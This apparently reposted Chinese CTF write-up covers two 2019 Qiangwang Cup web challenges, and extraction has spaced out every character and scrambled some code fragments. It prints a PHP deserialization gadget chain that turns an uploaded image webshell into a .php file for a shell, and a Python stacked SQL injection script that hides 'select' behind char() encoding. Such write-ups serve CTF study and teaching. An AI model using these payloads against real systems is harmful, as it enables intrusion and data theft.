搜索

[14234] 2019-06-16_2019强网杯Web部分Writeup

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-06-16_2019强网杯Web部分Writeup 2 0 1 9 强 网 杯 W e b 部 分 W r i t e u p c c k   F r e e B u f   2 0 1 9 - 0 6 - 1 6 题 记 题 记 2 0 1 9 年 的 强 网 杯 年 的 强 网 杯 w e b 题 目 出 的 都 不 错 ， 所 以 对 题 目 进 行 分 析 一 下 。 题 目 出 的 都 不 错 ， 所 以 对 题 目 进 行 分 析 一 下 。 正 文 正 文 u p l o a d 首 先 打 开 界 面 如 下 ： 有 注 册 和 登 陆 功 能 ！ 首 先 我 们 注 册 一 个 账 户 ， 然 后 登 陆 ， 发 现 可 以 上 传 图 片 ： 这 里 首 先 想 到 的 就 是 上 传 木 马 ， 但 是 经 过 尝 试 只 能 上 传 图 片 马 ， 并 且 不 能 直 接 利 用 ， 经 过 抓 包 发 现 c o o k i e 是 序 列 化 内 容 ， 所 以 应 该 是 通 过 c o o k i e 传 递 序 列 化 内 容 ， 经 过 服 务 器 的 反 序 列 化 ， 然 后 对 图 片 进 行 重 命 名 操 作 ， 进 而 获 得 s h e l l ：
但 是 ， 这 种 操 作 是 需 要 源 码 的 ， 没 有 源 码 分 析 进 行 反 序 列 化 操 作 ， 是 非 常 困 难 的 ， 所 以 我 们 进 行 目 录 探 测 发 现 了 w w w . t a r . g z ， 里 面 包 含 源 码 ， 并 且 存 在 . i d e a 文 件 ， 所 以 直 接 用 p h p s t o r m 打 开 发 现 断 点 ， 可 能 是 出 题 人 故 意 的 吧 ， 不 过 谁 知 道 呢 : ) ， 分 别 是 在 a p p l i c a t i o n / w e b / c o n t r o l l e r / R e g i s t e r . p h p 和 a p p l i c a t i o n / w e b / c o n t r o l l e r / I n d e x . p h p 。 a p p l i c a t i o n / w e b / c o n t r o l l e r / R e g i s t e r . p h p ： a p p l i c a t i o n / w e b / c o n t r o l l e r / I n d e x . p h p ： 这 两 个 断 点 给 了 我 们 的 几 点 信 息 ： R e g i s t e r . p h p 有 一 个 析 构 方 法 ， 可 知 如 果 未 登 录 网 站 进 行 访 问 的 话 ， 就 会 调 用 i n d e x 的 i n d e x ( ) 方 法 ， 而 i n d e x ( ) 方 法 是 一 个 登 陆 检 测 。 i n d e x . p h p 会 对 传 入 的 c o o k i e 先 进 行 b a s e 6 4 解 码 ， 然 后 对 其 进 行 反 序 列 化 操 作 ， 再 把 数 据 拿 到 数 据 库 进 行 对 比 。 仅 有 以 上 信 息 还 是 不 够 的 ， 我 们 的 目 的 是 找 到 对 文 件 名 进 行 重 赋 值 的 方 法 ， 目 前 我 们 还 做 不 到 ， 所 以 继 续 审 计 ， 可 以 得 到 以 下 三 个 重 要 的 文 件 ： 其 中 操 作 文 件 行 为 为 ： 我 们 跟 一 下 跟 进 $ t h i s - > f i l e n a m e _ t m p 和 $ t h i s - > f i l e n a m e 发 现 并 没 限 制 ， 但 是 有 一 个 阻 碍 ： 我 们 需 要 绕 过 这 里 的 判 断 ， 我 们 只 需 要 使 用 G E T 请 求 即 可 绕 过 ： 上 面 的 判 读 可 以 通 过 直 接 通 过 设 置 类 中 属 性 进 行 b y p a s s ， 来 绕 过 i f 判 断 ： 文 件 路 径 通 过 以 下 代 码 获 得 ： 我 们 进 入 第 三 个 i f 判 断 ： w e b / c o n t r o l l e r / I n d e x . p h p w e b / c o n t r o l l e r / P r o f i l e . p h p w e b / c o n t r o l l e r / R e g i s t e r . p h p p u b l i c   f u n c t i o n   u p l o a d _ i m g ( ) {                 i f ( $ t h i s - > c h e c k e r ) {                         i f ( ! $ t h i s - > c h e c k e r - > l o g i n _ c h e c k ( ) ) {                                 $ c u r r _ u r l = " h t t p : / / " . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' S C R I P T _ N A M E ' i f ( g e t i m a g e s i z e ( $ t h i s - > f i l e n a m e _ t m p ) ) { @ c o p y ( $ t h i s - > f i l e n a m e _ t m p ,   $ t h i s - > f i l e n a m e ) ; @ u n l i n k ( $ t h i s - > f i l e n a m e _ t m p ) ;   i f ( ! e m p t y ( $ _ F I L E S ) ) {                         $ t h i s - > f i l e n a m e _ t m p = $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' t m p _ n a m e ' ] ;                         $ t h i s - > f i l e n a m e = m d 5 ( $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' n a m e ' ] ) . " . p n g " ;                         $ t h i s i f ( $ t h i s - > c h e c k e r ) {         i f ( ! $ t h i s - > c h e c k e r - > l o g i n _ c h e c k ( ) ) {                 $ c u r r _ u r l = " h t t p : / / " . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' S C R I P T _ N A M E ' ] . " / i n d e x " ;                 $ t h i s - > r e d i r e c t ( $ c u r r _ u r l , p u b l i c   $ c h e c k e r = 0 ; p u b l i c   $ f i l e n a m e _ t m p = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / 0 d 4 4 a 7 f 4 f 1 a e 1 8 9 a 4 c 1 d 8 8 b 8 3 f 6 6 e c 6 8 . p n g " ; p u b l i c   $ f i l e n a m e = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / e t h a n . p h p "
当 该 值 进 入 u p l o a d _ i m g 函 数 后 ， 接 下 来 就 可 以 利 用 c o p y 复 制 出 p h p 文 件 ， 但 是 问 题 是 怎 么 通 过 反 序 列 化 直 接 调 用 u p l o a d _ i m g 函 数 。 这 里 我 们 要 用 到 两 个 魔 术 方 法 ： 读 取 不 可 访 问 属 性 的 值 时 ， _ _ g e t ( )   会 被 调 用 ； 在 对 象 中 调 用 一 个 不 可 访 问 方 法 时 ， _ _ c a l l ( )   会 被 调 用 。 我 们 在 以 下 代 码 中 找 到 这 两 个 魔 术 方 法 ， 分 别 书 写 了 在 调 用 不 可 调 用 方 法 和 不 可 调 用 成 员 变 量 时 怎 么 做 g e t 会 直 接 从 e x c e p t 里 找 ， c a l l 会 调 用 自 身 的 n a m e 成 员 变 量 所 指 代 的 变 量 所 指 代 的 方 法 ： 我 们 知 道 当 对 象 调 用 不 可 访 问 属 性 时 ， 就 会 自 动 触 发 g e t 魔 法 方 法 ， 而 在 对 象 调 用 不 可 访 问 函 数 时 ， 就 会 自 动 触 发 魔 法 方 法 ， 而 在 对 象 调 用 不 可 访 问 函 数 时 ， 就 会 自 动 触 发 c a l l 魔 法 方 法 。 那 么 寻 找 触 发 方 式 可 以 发 现 文 件 w e b / c o n t r o l l e r / R e g i s t e r . p h p ， 关 键 部 分 如 下 ： 我 们 可 以 看 到 我 们 可 以 看 到 c h e c k e r 调 用 了 类 调 用 了 类 I n d e x 里 的 方 法 里 的 方 法 i n d e x ( ) ， 如 果 我 们 此 时 将 ， 如 果 我 们 此 时 将 c h e c k e r 的 的 d e s t r u c t 覆 盖 为 类 覆 盖 为 类 P r o f i l e ， 那 么 势 必 在 调 用 ， 那 么 势 必 在 调 用 i n d e x ( ) 方 法 时 ， 会 触 发 方 法 时 ， 会 触 发 c a l l 函 数 ， 因 为 函 数 ， 因 为 c h e c k 对 象 的 对 象 的 i n d e x ( ) 方 法 是 在 方 法 是 在 P r o f i l e . p h p 中 不 存 在 的 。 中 不 存 在 的 。 而 进 入 该 函 数 后 ， 我 们 会 触 发 $ t h i s - > i n d e x , 成 功 尝 试 调 用 类 P r o f i l e 中 不 存 在 的 对 象 ， 于 是 可 触 发 _ _ g e t 魔 法 方 法 ， 从 而 变 成 r e t u r n   $ t h i s - > e x c e p t [ ‘ i n d e x ’ ] ; ， 那 么 我 们 只 要 在 构 造 序 列 化 时 ， 将 e x c e p t 赋 值 为 数 组 ， 如 下 ： 即 可 在 类 R e g i s t e r 进 行 _ _ d e s t r u c t ( ) 时 ， 成 功 触 发 u p l o a d _ i m g 函 数 ， 进 行 文 件 复 制 和 改 名 。 以 下 是 我 们 的 攻 击 链 ： 流 程 图 大 概 如 下 ： 而 我 们 只 需 要 控 制 _ _ g e t 的 e x c e p t 的 值 ， 就 可 以 调 用 任 意 方 法 。 综 上 所 述 ， 我 们 构 造 以 下 代 码 ： 首 先 ， 我 们 上 传 一 个 图 片 马 ， 然 后 利 用 我 们 得 到 的 p a y l o a d 替 换 c o o k i e ， 刷 新 后 即 可 找 到 修 改 后 缀 后 的 p h p 文 件 ： p u b l i c   f u n c t i o n   _ _ g e t ( $ n a m e ) {         r e t u r n   $ t h i s - > e x c e p t [ $ n a m e ] ; } p u b l i c   f u n c t i o n   _ _ c a l l ( $ n a m e ,   $ a r g u m e n t s ) {         i f ( $ t h i s - > { $ n a m e } ) {                 $ t h i s - > { $ t h i s - > { $ n a m e } } ( $ a r g u m e n t s ) ;         } } c l a s s   R e g i s t e r   e x t e n d s   C o n t r o l l e r {         p u b l i c   $ c h e c k e r ;         p u b l i c   $ r e g i s t e d ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( )         {                 $ t h i s - > c h e c k e r = n e w   I n d e x ( ) ;         }         p u b l i c   f u n c t i o n   _ _ d e s t r u c t p u b l i c   f u n c t i o n   _ _ c a l l ( $ n a m e ,   $ a r g u m e n t s ) {         i f ( $ t h i s - > { $ n a m e } ) {                 $ t h i s - > { $ t h i s - > { $ n a m e } } ( $ a r g u m e n t s ) ;         } } p u b l i c   $ e x c e p t = a r r a y ( ' i n d e x ' = > ' u p l o a d _ i m g ' ) ; R e g i s t e r - > _ _ d e s t r u c t P r o f i l e - >   _ _ c a l l P r o f i l e - >   _ _ g e t P r o f i l e - >   u p l o a d _ i m g ( ) < ? p h p n a m e s p a c e   a p p w e b c o n t r o l l e r ; c l a s s   P r o f i l e {         p u b l i c   $ c h e c k e r = 0 ;         p u b l i c   $ f i l e n a m e _ t m p = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / 0 d 4 4 a 7 f 4 f 1 a e 1 8 9 a 4 c 1 d 8 8 b 8 3 f 6 6 e c 6 8 . p n g " ;         p u b l i c   $ f i l e n a m e = " . . / p u b l i c / u p l o a d / 9 c 1 5 3 4 b 1 e 8 d b b 5 a 0 c 0 e c 3 f 7 0 d 2 4 f 9 6 2 7 / e t h a n . p h p " ;         p u b l i c   $ u p l o a d _ m e n u ;         p u b l i c   $ e x t = 1 ;         p u b l i c   $ i m g ;         p u b l i c   $ e x c e p t = a r r a y ( ' i n d e x ' = > ' u p l o a d _ i m g ' ) ; } c l a s s   R e g i s t e r {         p u b l i c   $ c h e c k e r ;         p u b l i c   $ r e g i s t e d = 0 ; } $ a = n e w   R e g i s t e r ( ) ; $ a - > c h e c k e r = n e w   P r o f i l e ( ) ; $ a - > c h e c k e r - > c h e c k e r   =   0 ; / /   e c h o   s e r i a l i z e ( $ a ) ; e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ a ) ) ; ? >
使 用 蚁 剑 连 接 我 们 的 木 马 ， 成 功 拿 到 s h e l l ： 随 便 注 随 便 注 这 里 过 滤 了 s e l e c t 和 . ， 所 以 跨 表 查 询 存 在 难 道 ， 因 此 这 里 使 用 堆 叠 注 入 和 c h a r 进 行 b y p a s s 。 e x p 如 下 ： r e t u r n   p r e g _ m a t c h ( " / s e l e c t | u p d a t e | d e l e t e | d r o p | i n s e r t | w h e r e | . / i " ,   $ i n j e c t ) ; p a y l o a d   =   " 0 ' ; s e t   @ s = c o n c a t ( % s ) ; P R E P A R E   a   F R O M   @ s ; E X E C U T E   a ; " # e x p   =   ' s e l e c t   g r o u p _ c o n c a t ( T A B L E _ N A M E )   f r o m   i n f o r m a t i o n _ s c h e m a . T A B L E S   w h e r e   T A B L E _ S C H E M A = d a t a b a s e ( ) ' # e x p   =   " s e l e c t   g r o u p _ c o n c a t ( C O L U M N _ N A M E )   f r o m   i n f o r m a t i o n _ s c h e m a . C O L U M N S   w h e r e   T A B L E _ N A M E = ' 1 9 1 9 8 1 0 9 3 1 1 1 4 5 1 4 ' " e x p   =   " s e l e c t   f l a g   f r o m   ` 1 9 1 9 8 1 0 9 3 1 1 1 4 5 1 4 ` " r e s   =   ' ' f o r   i   i n   e x p :         r e s   + =   " c h a r ( % s ) , " % ( o r d ( i ) ) m y _ p a y l o a d   =   p a y l o a d % ( r e s [ : - 1 ] ) p r i n t ( m y _ p a y l o a d )
获 取 表 名 ： 获 取 字 段 名 ： 获 取 f l a g ： * 本 文 作 者 ： c c k ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 h t t p : / / 1 9 2 . 1 6 8 . 2 3 . 1 6 6 : 8 8 8 8 / ? i n j e c t = 0 ' ; s e t   @ s = c o n c a t ( c h a r ( 1 1 5 ) , c h a r ( 1 0 1 ) , c h a r ( 1 0 8 ) , c h a r ( 1 0 1 ) , c h a r ( 9 9 ) , c h a r ( 1 1 6 ) , c h a r ( 3 2 ) , c h a r ( 1 0 3 ) , c h a r ( 1 1 4 ) , c h a r ( 1 1 1 ) , c h a r ( 1 1 7 ) , c h a r ( 1 1 2 ) , c h a r h t t p : / / 1 9 2 . 1 6 8 . 2 3 . 1 6 6 : 8 8 8 8 / ? i n j e c t = 0 ' ; s e t   @ s = c o n c a t ( c h a r ( 1 1 5 ) , c h a r ( 1 0 1 ) , c h a r ( 1 0 8 ) , c h a r ( 1 0 1 ) , c h a r ( 9 9 ) , c h a r ( 1 1 6 ) , c h a r ( 3 2 ) , c h a r ( 1 0 3 ) , c h a r ( 1 1 4 ) , c h a r ( 1 1 1 ) , c h a r ( 1 1 7 ) , c h a r ( 1 1 2 ) , c h a r h t t p : / / 1 9 2 . 1 6 8 . 2 3 . 1 6 6 : 8 8 8 8 / ? i n j e c t = 0 ' ; s e t   @ s = c o n c a t ( c h a r ( 1 1 5 ) , c h a r ( 1 0 1 ) , c h a r ( 1 0 8 ) , c h a r ( 1 0 1 ) , c h a r ( 9 9 ) , c h a r ( 1 1 6 ) , c h a r ( 3 2 ) , c h a r ( 1 0 2 ) , c h a r ( 1 0 8 ) , c h a r ( 9 7 ) , c h a r ( 1 0 3 ) , c h a r ( 3 2 ) , c h a r ( 1 0 2
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理